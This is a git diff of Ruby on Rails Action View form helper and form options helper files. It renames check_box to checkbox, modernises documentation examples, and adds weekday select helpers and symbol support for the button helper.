@@ -2026,7 +2430,7 @@ def label(method, text = nil, options = {}, &block)
       # wouldn't update the flag.
       #
       # To prevent this the helper generates an auxiliary hidden field before
-      # the very check box. The hidden field has the same name and its
+      # every check box. The hidden field has the same name and its
       # attributes mimic an unchecked check box.
       #
       # This way, the client either sends only the hidden field (representing
@@ -2039,34 +2443,37 @@ def label(method, text = nil, options = {}, &block)
       # within an array-like parameter, as in
       #
       #   <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
-      #     <%= form.check_box :paid %>
+      #     <%= form.checkbox :paid %>
       #     ...
       #   <% end %>
       #
-      # because parameter name repetition is precisely what Rails seeks to distinguish
+      # because parameter name repetition is precisely what \Rails seeks to distinguish
       # the elements of the array. For each item with a checked check box you
       # get an extra ghost item with only that attribute, assigned to "0".
       #
-      # In that case it is preferable to either use +check_box_tag+ or to use
+      # In that case it is preferable to either use FormTagHelper#checkbox_tag or to use
       # hashes instead of arrays.
       #
-      #   # Let's say that @post.validated? is 1:
-      #   check_box("validated")
-      #   # => <input name="post[validated]" type="hidden" value="0" />
-      #   #    <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
+      # ==== Examples
+      #
+      #   # Let's say that @article.validated? is 1:
+      #   checkbox("validated")
+      #   # => <input name="article[validated]" type="hidden" value="0" />
+      #   #    <input checked="checked" type="checkbox" id="article_validated" name="article[validated]" value="1" />
       #
       #   # Let's say that @puppy.gooddog is "no":
-      #   check_box("gooddog", {}, "yes", "no")
+      #   checkbox("gooddog", {}, "yes", "no")
       #   # => <input name="puppy[gooddog]" type="hidden" value="no" />
       #   #    <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
       #
       #   # Let's say that @eula.accepted is "no":
-      #   check_box("accepted", { class: 'eula_check' }, "yes", "no")
+      #   checkbox("accepted", { class: 'eula_check' }, "yes", "no")
       #   # => <input name="eula[accepted]" type="hidden" value="no" />
       #   #    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
-      def check_box(method, options = {}, checked_value = "1", unchecked_value = "0")
-        @template.check_box(@object_name, method, objectify_options(options), checked_value, unchecked_value)
+      def checkbox(method, options = {}, checked_value = "1", unchecked_value = "0")
+        @template.checkbox(@object_name, method, objectify_options(options), checked_value, unchecked_value)
       end
+      alias_method :check_box, :checkbox
 
       # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
       # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
@@ -2075,11 +2482,11 @@ def check_box(method, options = {}, checked_value = "1", unchecked_value = "0")
       # To force the radio button to be checked pass <tt>checked: true</tt> in the
       # +options+ hash. You may pass HTML options there as well.
       #
-      #   # Let's say that @post.category returns "rails":
+      #   # Let's say that @article.category returns "rails":
       #   radio_button("category", "rails")
       #   radio_button("category", "java")
-      #   # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
-      #   #    <input type="radio" id="post_category_java" name="post[category]" value="java" />
+      #   # => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" />
+      #   #    <input type="radio" id="article_category_java" name="article[category]" value="java" />
       #
       #   # Let's say that @user.receive_newsletter returns "no":
       #   radio_button("receive_newsletter", "yes")
@@ -2100,9 +2507,9 @@ def radio_button(method, tag_value, options = {})
       #   hidden_field(:pass_confirm)
       #   # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="true" />
       #
-      #   # Let's say that @post.tag_list returns "blog, ruby":
+      #   # Let's say that @article.tag_list returns "blog, ruby":
       #   hidden_field(:tag_list)
-      #   # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="blog, ruby" />
+      #   # => <input type="hidden" id="article_tag_list" name="article[tag_list]" value="blog, ruby" />
       #
       #   # Let's say that @user.token returns "abcde":
       #   hidden_field(:token)
@@ -2118,12 +2525,13 @@ def hidden_field(method, options = {})
       # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
       # shown.
       #
-      # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
+      # Using this method inside a #form_with block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
       #
       # ==== Options
       # * Creates standard HTML attributes for the tag.
       # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
       # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+      # * <tt>:include_hidden</tt> - When <tt>multiple: true</tt> and <tt>include_hidden: true</tt>, the field will be prefixed with an <tt><input type="hidden"></tt> field with an empty value to support submitting an empty collection of files. Since <tt>include_hidden</tt> will default to <tt>config.active_storage.multiple_file_field_include_hidden</tt> if you don't specify <tt>include_hidden</tt>, you will need to pass <tt>include_hidden: false</tt> to prevent submitting an empty collection of files when passing <tt>multiple: true</tt>.
       # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
       #
       # ==== Examples
@@ -2131,17 +2539,17 @@ def hidden_field(method, options = {})
       #   file_field(:avatar)
       #   # => <input type="file" id="user_avatar" name="user[avatar]" />
       #
-      #   # Let's say that @post has image:
+      #   # Let's say that @article has image:
       #   file_field(:image, :multiple => true)
-      #   # => <input type="file" id="post_image" name="post[image][]" multiple="multiple" />
+      #   # => <input type="file" id="article_image" name="article[image][]" multiple="multiple" />
       #
-      #   # Let's say that @post has attached:
+      #   # Let's say that @article has attached:
       #   file_field(:attached, accept: 'text/html')
-      #   # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
+      #   # => <input accept="text/html" type="file" id="article_attached" name="article[attached]" />
       #
-      #   # Let's say that @post has image:
+      #   # Let's say that @article has image:
       #   file_field(:image, accept: 'image/png,image/gif,image/jpeg')
-      #   # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
+      #   # => <input type="file" id="article_image" name="article[image]" accept="image/png,image/gif,image/jpeg" />
       #
       #   # Let's say that @attachment has file:
       #   file_field(:file, class: 'file_input')
@@ -2154,15 +2562,15 @@ def file_field(method, options = {})
       # Add the submit button for the given form. When no value is given, it checks
       # if the object is a new resource or not to create the proper label:
       #
-      #   <%= form_for @post do |f| %>
+      #   <%= form_with model: @article do |f| %>
       #     <%= f.submit %>
       #   <% end %>
       #
-      # In the example above, if @post is a new record, it will use "Create Post" as
-      # submit button label, otherwise, it uses "Update Post".
+      # In the example above, if <tt>@article</tt> is a new record, it will use "Create Article" as
+      # submit button label; otherwise, it uses "Update Article".
       #
-      # Those labels can be customized using I18n, under the helpers.submit key and accept
-      # the %{model} as translation interpolation:
+      # Those labels can be customized using I18n under the +helpers.submit+ key and using
+      # <tt>%{model}</tt> for translation interpolation:
       #
       #   en:
       #     helpers:
@@ -2170,12 +2578,12 @@ def file_field(method, options = {})
       #         create: "Create a %{model}"
       #         update: "Confirm changes to %{model}"
       #
-      # It also searches for a key specific for the given object:
+      # It also searches for a key specific to the given object:
       #
       #   en:
       #     helpers:
       #       submit:
-      #         post:
+      #         article:
       #           create: "Add %{model}"
       #
       def submit(value = nil, options = {})
@@ -2187,15 +2595,14 @@ def submit(value = nil, options = {})
       # Add the submit button for the given form. When no value is given, it checks
       # if the object is a new resource or not to create the proper label:
       #
-      #   <%= form_for @post do |f| %>
+      #   <%= form_with model: @article do |f| %>
       #     <%= f.button %>
       #   <% end %>
+      # In the example above, if <tt>@article</tt> is a new record, it will use "Create Article" as
+      # button label; otherwise, it uses "Update Article".
       #
-      # In the example above, if @post is a new record, it will use "Create Post" as
-      # button label, otherwise, it uses "Update Post".
-      #
-      # Those labels can be customized using I18n, under the helpers.submit key
-      # (the same as submit helper) and accept the %{model} as translation interpolation:
+      # Those labels can be customized using I18n under the +helpers.submit+ key
+      # (the same as submit helper) and using <tt>%{model}</tt> for translation interpolation:
       #
       #   en:
       #     helpers:
@@ -2203,17 +2610,20 @@ def submit(value = nil, options = {})
       #         create: "Create a %{model}"
       #         update: "Confirm changes to %{model}"
       #
-      # It also searches for a key specific for the given object:
+      # It also searches for a key specific to the given object:
       #
       #   en:
       #     helpers:
       #       submit:
-      #         post:
+      #         article:
       #           create: "Add %{model}"
       #
       # ==== Examples
-      #   button("Create post")
-      #   # => <button name='button' type='submit'>Create post</button>
+      #   button("Create article")
+      #   # => <button name='button' type='submit'>Create article</button>
+      #
+      #   button(:draft, value: true)
+      #   # => <button id="article_draft" name="article[draft]" value="true" type="submit">Create article</button>
       #
       #   button do
       #     content_tag(:strong, 'Ask me!')
@@ -2222,19 +2632,50 @@ def submit(value = nil, options = {})
       #   #      <strong>Ask me!</strong>
       #   #    </button>
       #
+      #   button do |text|
+      #     content_tag(:strong, text)
+      #   end
+      #   # => <button name='button' type='submit'>
+      #   #      <strong>Create article</strong>
+      #   #    </button>
+      #
+      #   button(:draft, value: true) do
+      #     content_tag(:strong, "Save as draft")
+      #   end
+      #   # =>  <button id="article_draft" name="article[draft]" value="true" type="submit">
+      #   #       <strong>Save as draft</strong>
+      #   #     </button>
+      #
       def button(value = nil, options = {}, &block)
-        value, options = nil, value if value.is_a?(Hash)
+        case value
+        when Hash
+          value, options = nil, value
+        when Symbol
+          value, options = nil, { name: field_name(value), id: field_id(value) }.merge!(options.to_h)
+        end
         value ||= submit_default_value
-        @template.button_tag(value, options, &block)
+
+        if block_given?
+          value = @template.capture { yield(value) }
+        end
+
+        formmethod = options[:formmethod]
+        if formmethod.present? && !/post|get/i.match?(formmethod) && !options.key?(:name) && !options.key?(:value)
+          options.merge! formmethod: :post, name: "_method", value: formmethod
+        end
+
+        @template.button_tag(value, options)
       end
 
-      def emitted_hidden_id?
+      def emitted_hidden_id? # :nodoc:
         @emitted_hidden_id ||= nil
       end
 
       private
         def objectify_options(options)
-          @default_options.merge(options.merge(object: @object))
+          result = @default_options.merge(options)
+          result[:object] = @object
+          result
         end
 
         def submit_default_value
@@ -2248,7 +2689,12 @@ def submit_default_value
           end
 
           defaults = []
-          defaults << :"helpers.submit.#{object_name}.#{key}"
+          # Object is a model and it is not overwritten by as and scope option.
+          if object.respond_to?(:model_name) && object_name.to_s == model.downcase
+            defaults << :"helpers.submit.#{object.model_name.i18n_key}.#{key}"
+          else
+            defaults << :"helpers.submit.#{object_name}.#{key}"
+          end
           defaults << :"helpers.submit.#{key}"
           defaults << "#{key.to_s.humanize} #{model}"
 
@@ -2264,9 +2710,9 @@ def fields_for_with_nested_attributes(association_name, association, options, bl
           association = convert_to_model(association)
 
           if association.respond_to?(:persisted?)
-            association = [association] if @object.send(association_name).respond_to?(:to_ary)
+            association = [association] if @object.public_send(association_name).respond_to?(:to_ary)
           elsif !association.respond_to?(:to_ary)
-            association = @object.send(association_name)
+            association = @object.public_send(association_name)
           end
 
           if association.respond_to?(:to_ary)
@@ -2278,7 +2724,9 @@ def fields_for_with_nested_attributes(association_name, association, options, bl
               else
                 options[:child_index] = nested_child_index(name)
               end
-              output << fields_for_nested_model("#{name}[#{options[:child_index]}]", child, options, block)
+              if content = fields_for_nested_model("#{name}[#{options[:child_index]}]", child, options, block)
+                output << content
+              end
             end
             output
           elsif association
@@ -2313,8 +2761,6 @@ def convert_to_legacy_options(options)
   end
 
   ActiveSupport.on_load(:action_view) do
-    cattr_accessor(:default_form_builder, instance_writer: false, instance_reader: false) do
-      ::ActionView::Helpers::FormBuilder
-    end
+    cattr_accessor :default_form_builder, instance_writer: false, instance_reader: false, default: ::ActionView::Helpers::FormBuilder
   end
 end
diff --git a/actionview/lib/action_view/helpers/form_options_helper.rb b/actionview/lib/action_view/helpers/form_options_helper.rb
index 07d4310a4ed39..8462b36a5dddb 100644
--- a/actionview/lib/action_view/helpers/form_options_helper.rb
+++ b/actionview/lib/action_view/helpers/form_options_helper.rb
@@ -1,25 +1,27 @@
-require "cgi"
+# frozen_string_literal: true
+
 require "erb"
-require "action_view/helpers/form_helper"
 require "active_support/core_ext/string/output_safety"
 require "active_support/core_ext/array/extract_options"
 require "active_support/core_ext/array/wrap"
+require "action_view/helpers/text_helper"
 
 module ActionView
-  # = Action View Form Option Helpers
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View Form Option \Helpers
+    #
     # Provides a number of methods for turning different kinds of containers into a set of option tags.
     #
-    # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
+    # The #collection_select, #select and #time_zone_select methods take an <tt>options</tt> parameter, a hash:
     #
     # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
     #
-    #     select("post", "category", Post::CATEGORIES, {include_blank: true})
+    #     select(:post, :category, Post::CATEGORIES, { include_blank: true })
     #
     #   could become:
     #
     #     <select name="post[category]" id="post_category">
-    #       <option value=""></option>
+    #       <option value="" label=" "></option>
     #       <option value="joke">joke</option>
     #       <option value="poem">poem</option>
     #     </select>
@@ -28,7 +30,7 @@ module Helpers
     #
     #   Example with <tt>@post.person_id => 2</tt>:
     #
-    #     select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: 'None'})
+    #     select(:post, :person_id, Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: "None" })
     #
     #   could become:
     #
@@ -41,7 +43,7 @@ module Helpers
     #
     # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string.
     #
-    #     select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {prompt: 'Select Person'})
+    #     select(:post, :person_id, Person.all.collect { |p| [ p.name, p.id ] }, { prompt: "Select Person" })
     #
     #   could become:
     #
@@ -52,10 +54,10 @@ module Helpers
     #       <option value="3">Rafael</option>
     #     </select>
     #
-    # * <tt>:index</tt> - like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this
+    # * <tt>:index</tt> - like the other form helpers, #select can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, #select expects this
     #   option to be in the +html_options+ parameter.
     #
-    #     select("album[]", "genre", %w[rap rock country], {}, { index: nil })
+    #     select("album[]", :genre, %w[ rap rock country ], {}, { index: nil })
     #
     #   becomes:
     #
@@ -67,20 +69,19 @@ module Helpers
     #
     # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
     #
-    #     select("post", "category", Post::CATEGORIES, {disabled: 'restricted'})
+    #     select(:post, :category, Post::CATEGORIES, { disabled: "restricted" })
     #
     #   could become:
     #
     #     <select name="post[category]" id="post_category">
-    #       <option value=""></option>
     #       <option value="joke">joke</option>
     #       <option value="poem">poem</option>
     #       <option disabled="disabled" value="restricted">restricted</option>
     #     </select>
     #
-    #   When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
+    #   When used with the #collection_select helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
     #
-    #     collection_select(:post, :category_id, Category.all, :id, :name, {disabled: -> (category) { category.archived? }})
+    #     collection_select(:post, :category_id, Category.all, :id, :name, { disabled: -> (category) { category.archived? } })
     #
     #   If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
     #     <select name="post[category_id]" id="post_category_id">
@@ -89,7 +90,6 @@ module Helpers
     #       <option value="3">Jokes</option>
     #       <option value="4">Poems</option>
     #     </select>
-    #
     module FormOptionsHelper
       # ERB::Util can mask some helpers like textilize. Make sure to include them.
       include TextHelper
@@ -99,25 +99,22 @@ module FormOptionsHelper
       #
       # There are two possible formats for the +choices+ parameter, corresponding to other helpers' output:
       #
-      # * A flat collection (see +options_for_select+).
+      # * A flat collection (see <tt>options_for_select</tt>).
+      # * A nested collection (see <tt>grouped_options_for_select</tt>).
       #
-      # * A nested collection (see +grouped_options_for_select+).
+      # Example with <tt>@post.person_id => 2</tt>:
       #
-      # For example:
-      #
-      #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true })
+      #   select :post, :person_id, Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true }
       #
       # would become:
       #
       #   <select name="post[person_id]" id="post_person_id">
-      #     <option value=""></option>
-      #     <option value="1" selected="selected">David</option>
-      #     <option value="2">Eileen</option>
+      #     <option value="" label=" "></option>
+      #     <option value="1">David</option>
+      #     <option value="2" selected="selected">Eileen</option>
       #     <option value="3">Rafael</option>
       #   </select>
       #
-      # assuming the associated person has ID 1.
-      #
       # This can be used to provide a default set of options in the standard way: before rendering the create form, a
       # new model instance is assigned the default options and bound to @model_name. Usually this model is not saved
       # to the database. Instead, a second model object is created when the create request is received.
@@ -128,12 +125,12 @@ module FormOptionsHelper
       # or <tt>selected: nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
       # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
       #
-      # A block can be passed to +select+ to customize how the options tags will be rendered. This
+      # A block can be passed to #select to customize how the options tags will be rendered. This
       # is useful when the options tag has complex attributes.
       #
-      #   select(report, "campaign_ids") do
+      #   select(report, :campaign_ids) do
       #     available_campaigns.each do |c|
-      #       content_tag(:option, c.name, value: c.id, data: { tags: c.tags.to_json })
+      #       tag.option(c.name, value: c.id, data: { tags: c.tags.to_json })
       #     end
       #   end
       #
@@ -141,7 +138,7 @@ module FormOptionsHelper
       #
       # The HTML specification says when +multiple+ parameter passed to select and all options got deselected
       # web browsers do not send any value to server. Unfortunately this introduces a gotcha:
-      # if an +User+ model has many +roles+ and have +role_ids+ accessor, and in the form that edits roles of the user
+      # if a +User+ model has many +roles+ and have +role_ids+ accessor, and in the form that edits roles of the user
       # the user deselects all roles from +role_ids+ multiple select box, no +role_ids+ parameter is sent. So,
       # any mass-assignment idiom like
       #
@@ -158,7 +155,6 @@ module FormOptionsHelper
       #
       # In case if you don't want the helper to generate this hidden field you can specify
       # <tt>include_hidden: false</tt> option.
-      #
       def select(object, method, choices = nil, options = {}, html_options = {}, &block)
         Tags::Select.new(object, method, self, choices, options, html_options, &block).render
       end
@@ -182,6 +178,7 @@ def select(object, method, choices = nil, options = {}, html_options = {}, &bloc
       #
       #   class Author < ActiveRecord::Base
       #     has_many :posts
+      #
       #     def name_with_initial
       #       "#{first_name.first}. #{last_name}"
       #     end
@@ -212,9 +209,13 @@ def collection_select(object, method, collection, value_method, text_method, opt
       # * +method+ - The attribute of +object+ corresponding to the select tag
       # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
       # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
-      #   array of child objects representing the <tt><option></tt> tags.
+      #   array of child objects representing the <tt><option></tt> tags. It can also be any object that responds
+      #   to +call+, such as a +proc+, that will be called for each member of the +collection+ to retrieve the
+      #   value.
       # * +group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
-      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
+      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag. It can also be any object
+      #   that responds to +call+, such as a +proc+, that will be called for each member of the +collection+ to
+      #   retrieve the label.
       # * +option_key_method+ - The name of a method which, when called on a child object of a member of
       #   +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
       # * +option_value_method+ - The name of a method which, when called on a child object of a member of
@@ -222,19 +223,19 @@ def collection_select(object, method, collection, value_method, text_method, opt
       #
       # Example object structure for use with this method:
       #
+      #   # attributes: id, name
       #   class Continent < ActiveRecord::Base
       #     has_many :countries
-      #     # attribs: id, name
       #   end
       #
+      #   # attributes: id, name, continent_id
       #   class Country < ActiveRecord::Base
       #     belongs_to :continent
-      #     # attribs: id, name, continent_id
       #   end
       #
+      #   # attributes: id, name, country_id
       #   class City < ActiveRecord::Base
       #     belongs_to :country
-      #     # attribs: id, name, country_id
       #   end
       #
       # Sample usage:
@@ -253,7 +254,6 @@ def collection_select(object, method, collection, value_method, text_method, opt
       #       <option value="2">Ireland</option>
       #     </optgroup>
       #   </select>
-      #
       def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
         Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
       end
@@ -264,7 +264,7 @@ def grouped_collection_select(object, method, collection, group_method, group_la
       # In addition to the <tt>:include_blank</tt> option documented above,
       # this method also supports a <tt>:model</tt> option, which defaults
       # to ActiveSupport::TimeZone. This may be used by users to specify a
-      # different time zone model object. (See +time_zone_options_for_select+
+      # different time zone model object. (See #time_zone_options_for_select
       # for more information.)
       #
       # You can also supply an array of ActiveSupport::TimeZone objects
@@ -277,21 +277,27 @@ def grouped_collection_select(object, method, collection, group_method, group_la
       # Finally, this method supports a <tt>:default</tt> option, which selects
       # a default ActiveSupport::TimeZone if the object's time zone is +nil+.
       #
-      #   time_zone_select( "user", "time_zone", nil, include_blank: true)
+      #   time_zone_select(:user, :time_zone, nil, include_blank: true)
       #
-      #   time_zone_select( "user", "time_zone", nil, default: "Pacific Time (US & Canada)" )
+      #   time_zone_select(:user, :time_zone, nil, default: "Pacific Time (US & Canada)")
       #
-      #   time_zone_select( "user", 'time_zone', ActiveSupport::TimeZone.us_zones, default: "Pacific Time (US & Canada)")
+      #   time_zone_select(:user, :time_zone, ActiveSupport::TimeZone.us_zones, default: "Pacific Time (US & Canada)")
       #
-      #   time_zone_select( "user", 'time_zone', [ ActiveSupport::TimeZone['Alaska'], ActiveSupport::TimeZone['Hawaii'] ])
+      #   time_zone_select(:user, :time_zone, [ ActiveSupport::TimeZone["Alaska"], ActiveSupport::TimeZone["Hawaii"] ])
       #
-      #   time_zone_select( "user", 'time_zone', /Australia/)
+      #   time_zone_select(:user, :time_zone, /Australia/)
       #
-      #   time_zone_select( "user", "time_zone", ActiveSupport::TimeZone.all.sort, model: ActiveSupport::TimeZone)
+      #   time_zone_select(:user, :time_zone, ActiveSupport::TimeZone.all.sort, model: ActiveSupport::TimeZone)
       def time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {})
         Tags::TimeZoneSelect.new(object, method, self, priority_zones, options, html_options).render
       end
 
+      # Returns select and option tags for the given object and method, using
+      # #weekday_options_for_select to generate the list of option tags.
+      def weekday_select(object, method, options = {}, html_options = {}, &block)
+        Tags::WeekdaySelect.new(object, method, self, options, html_options, &block).render
+      end
+
       # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container
       # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and
       # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values
@@ -317,12 +323,12 @@ def time_zone_select(object, method, priority_zones = nil, options = {}, html_op
       #
       # You can optionally provide HTML attributes as the last element of the array.
       #
-      #   options_for_select([ "Denmark", ["USA", {class: 'bold'}], "Sweden" ], ["USA", "Sweden"])
+      #   options_for_select([ "Denmark", ["USA", { class: 'bold' }], "Sweden" ], ["USA", "Sweden"])
       #   # => <option value="Denmark">Denmark</option>
       #   # => <option value="USA" class="bold" selected="selected">USA</option>
       #   # => <option value="Sweden" selected="selected">Sweden</option>
       #
-      #   options_for_select([["Dollar", "$", {class: "bold"}], ["Kroner", "DKK", {onclick: "alert('HI');"}]])
+      #   options_for_select([["Dollar", "$", { class: "bold" }], ["Kroner", "DKK", { onclick: "alert('HI');" }]])
       #   # => <option value="$" class="bold">Dollar</option>
       #   # => <option value="DKK" onclick="alert('HI');">Kroner</option>
       #
@@ -363,7 +369,7 @@ def options_for_select(container, selected = nil)
           html_attributes[:disabled] ||= disabled && option_value_selected?(value, disabled)
           html_attributes[:value] = value
 
-          tag_builder.content_tag_string(:option, text, html_attributes)
+          tag_builder.option(text, **html_attributes)
         end.join("\n").html_safe
       end
 
@@ -404,7 +410,7 @@ def options_from_collection_for_select(collection, value_method, text_method, se
         options_for_select(options, select_deselect)
       end
 
-      # Returns a string of <tt><option></tt> tags, like <tt>options_from_collection_for_select</tt>, but
+      # Returns a string of <tt><option></tt> tags, like #options_from_collection_for_select, but
       # groups them by <tt><optgroup></tt> tags based on the object relationships of the arguments.
       #
       # Parameters:
@@ -455,13 +461,13 @@ def options_from_collection_for_select(collection, value_method, text_method, se
       def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil)
         collection.map do |group|
           option_tags = options_from_collection_for_select(
-            group.send(group_method), option_key_method, option_value_method, selected_key)
+            value_for_collection(group, group_method), option_key_method, option_value_method, selected_key)
 
-          content_tag("optgroup".freeze, option_tags, label: group.send(group_label_method))
+          content_tag("optgroup", option_tags, label: value_for_collection(group, group_label_method))
         end.join.html_safe
       end
 
-      # Returns a string of <tt><option></tt> tags, like <tt>options_for_select</tt>, but
+      # Returns a string of <tt><option></tt> tags, like #options_for_select, but
       # wraps them with <tt><optgroup></tt> tags:
       #
       #   grouped_options = [
@@ -489,16 +495,20 @@ def option_groups_from_collection_for_select(collection, group_method, group_lab
       #     <option value="France">France</option>
       #   </optgroup>
       #
-      # Parameters:
+      # ==== Parameters
+      #
       # * +grouped_options+ - Accepts a nested array or hash of strings. The first value serves as the
       #   <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a
       #   nested array of text-value pairs. See <tt>options_for_select</tt> for more info.
       #    Ex. ["North America",[["United States","US"],["Canada","CA"]]]
+      #   An optional third value can be provided as HTML attributes for the <tt>optgroup</tt>.
+      #    Ex. ["North America",[["United States","US"],["Canada","CA"]], { disabled: "disabled" }]
       # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
       #   which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
       #   as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>.
       #
-      # Options:
+      # ==== Options
+      #
       # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this
       #   prepends an option with a generic prompt - "Please select" - or the given prompt string.
       # * <tt>:divider</tt> - the divider for the options groups.
@@ -529,7 +539,7 @@ def grouped_options_for_select(grouped_options, selected_key = nil, options = {}
         body = "".html_safe
 
         if prompt
-          body.safe_concat content_tag("option".freeze, prompt_text(prompt), value: "")
+          body.safe_concat content_tag("option", prompt_text(prompt), value: "")
         end
 
         grouped_options.each do |container|
@@ -542,7 +552,7 @@ def grouped_options_for_select(grouped_options, selected_key = nil, options = {}
           end
 
           html_attributes = { label: label }.merge!(html_attributes)
-          body.safe_concat content_tag("optgroup".freeze, options_for_select(container, selected_key), html_attributes)
+          body.safe_concat content_tag("optgroup", options_for_select(container, selected_key), html_attributes)
         end
 
         body
@@ -560,9 +570,10 @@ def grouped_options_for_select(grouped_options, selected_key = nil, options = {}
       # an ActiveSupport::TimeZone.
       #
       # By default, +model+ is the ActiveSupport::TimeZone constant (which can
-      # be obtained in Active Record as a value object). The only requirement
-      # is that the +model+ parameter be an object that responds to +all+, and
-      # returns an array of objects that represent time zones.
+      # be obtained in Active Record as a value object). The +model+ parameter
+      # must respond to +all+ and return an array of objects that represent time
+      # zones; each object must respond to +name+. If a Regexp is given it will
+      # attempt to match the zones using <code>match?</code> method.
       #
       # NOTE: Only the option tags are returned, you have to wrap this call in
       # a regular HTML select tag.
@@ -574,11 +585,11 @@ def time_zone_options_for_select(selected = nil, priority_zones = nil, model = :
 
         if priority_zones
           if priority_zones.is_a?(Regexp)
-            priority_zones = zones.select { |z| z =~ priority_zones }
+            priority_zones = zones.select { |z| z.match?(priority_zones) }
           end
 
           zone_options.safe_concat options_for_select(convert_zones[priority_zones], selected)
-          zone_options.safe_concat content_tag("option".freeze, "-------------", value: "", disabled: true)
+          zone_options.safe_concat content_tag("option", "-------------", value: "", disabled: true)
           zone_options.safe_concat "\n"
 
           zones = zones - priority_zones
@@ -587,6 +598,26 @@ def time_zone_options_for_select(selected = nil, priority_zones = nil, model = :
         zone_options.safe_concat options_for_select(convert_zones[zones], selected)
       end
 
+      # Returns a string of option tags for the days of the week.
+      #
+      # ====Options
+      #
+      # * <tt>:index_as_value</tt> - Defaults to false, set to true to use the indexes from
+      #   <tt>I18n.translate("date.day_names")</tt> as the values. By default, Sunday is always 0.
+      # * <tt>:day_format</tt> - The I18n key of the array to use for the weekday options.
+      #   Defaults to +:day_names+, set to +:abbr_day_names+ for abbreviations.
+      # * <tt>:beginning_of_week</tt> - Defaults to Date.beginning_of_week.
+      #
+      # NOTE: Only the option tags are returned, you have to wrap this call in
+      # a regular HTML select tag.
+      def weekday_options_for_select(selected = nil, index_as_value: false, day_format: :day_names, beginning_of_week: Date.beginning_of_week)
+        day_names = I18n.translate("date.#{day_format}")
+        day_names = day_names.map.with_index.to_a if index_as_value
+        day_names = day_names.rotate(Date::DAYS_INTO_WEEK.fetch(beginning_of_week))
+
+        options_for_select(day_names, selected)
+      end
+
       # Returns radio button tags for the collection of existing return values
       # of +method+ for +object+'s class. The value returned from calling
       # +method+ on the instance +object+ will be selected. If calling +method+
@@ -600,11 +631,14 @@ def time_zone_options_for_select(selected = nil, priority_zones = nil, model = :
       # retrieve the value/text.
       #
       # Example object structure for use with this method:
+      #
       #   class Post < ActiveRecord::Base
       #     belongs_to :author
       #   end
+      #
       #   class Author < ActiveRecord::Base
       #     has_many :posts
+      #
       #     def name_with_initial
       #       "#{first_name.first}. #{last_name}"
       #     end
@@ -648,13 +682,13 @@ def time_zone_options_for_select(selected = nil, priority_zones = nil, model = :
       #
       # ==== Gotcha
       #
-      # The HTML specification says when nothing is select on a collection of radio buttons
+      # The HTML specification says when nothing is selected on a collection of radio buttons
       # web browsers do not send any value to server.
       # Unfortunately this introduces a gotcha:
       # if a +User+ model has a +category_id+ field and in the form no category is selected, no +category_id+ parameter is sent. So,
       # any strong parameters idiom like:
       #
-      #   params.require(:user).permit(...)
+      #   params.expect(user: [...])
       #
       # will raise an error since no <tt>{user: ...}</tt> will be present.
       #
